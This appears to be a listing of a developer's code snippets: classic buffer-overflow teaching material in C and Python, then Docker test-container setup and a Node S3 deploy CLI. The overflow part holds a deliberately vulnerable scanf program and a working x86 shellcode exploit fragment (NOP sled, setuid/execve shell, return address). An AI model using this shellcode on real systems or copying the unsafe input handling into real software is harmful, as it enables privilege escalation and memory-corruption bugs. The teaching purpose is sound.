andreybleme

/* Programa 2 */
struct person {
  int buf[4];
  int x;
};
struct person *pf = malloc(sizeof(struct person));
pf->buf[5] = 3; // sorescreve pf->x

andreybleme

/* Pragrama 1 */
int x;
int buf[4];
buf[5] = 3; // sobrescreve x

andreybleme

#!/usr/bin/python

nopsled = '\x90' * 8
shellcode = (
 '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +  
 '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
 '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
) 
padding = '\x41' * 7
eip = '\x60\xf3\xff\xbf'

andreybleme

#include <stdio.h>

int main (void) {
  register int i asm("esp");
  printf("$esp = %#020x\n", i);

  return 0;
}

andreybleme

#include <stdio.h>
#include <string.h>

int main (void) {
  char buffer[5];
  printf("Digite seu nome>\n");
  scanf("%s", &buffer);

  return 0;
}

andreybleme

const knex = require('knex')({
  client: 'pg',
  connection: process.env.PG_URL,
});

let pgContainer = await new GenericContainer('postgres')
    .withEnv('POSTGRES_USER', 'test')
    .withEnv('POSTGRES_PASSWORD', 'test')
    .withExposedPorts(5432)

andreybleme

const {Docker} = require('node-docker-api');
 
const docker = new Docker({ socketPath: '/var/run/docker.sock' });
 
docker.container.create({
  Image: 'postgres',
  name: 'test'
})
.then(container => container.start())

andreybleme

#!/bin/bash
CONTAINER_ID=$(docker run -p 5400:5432 -e POSTGRES_USER=test -e POSTGRES_PASSWORD=test -d postgres:9.6.5)
REDIS_CONTAINER_ID=$(docker run -p 6379:6379 -d redis:4.0-alpine)
echo "Running PG Container: $CONTAINER_ID"
echo "Running Redis Container: $REDIS_CONTAINER_ID"

# waits
sleep 5  

# run db tests

andreybleme

let rootFolder = '.'

program
  .command('deploy')
  .option('-b, --bucket <s>', 'Bucket name', setBucket)
  .option('-k, --key <s>', 'AWS Key', setKey)
  .option('-s, --secret <s>', 'AWS Secret', setSecret)
  .option('-r, --root <s>', 'Root path', setRootFolder)
  .option('-e, --ignore <items>', 'Ignore files', setIgnore)
  .action(function () {

andreybleme

let ignored = []

program
  .command('deploy')
  .option('-b, --bucket <s>', 'Bucket name', setBucket)
  .option('-k, --key <s>', 'AWS Key', setKey)
  .option('-s, --secret <s>', 'AWS Secret', setSecret)
  .option('-e, --ignore <items>', 'Ignore files', setIgnore)
  .action(function () {
    s3Services.setAwsCredentials(awsCredentials)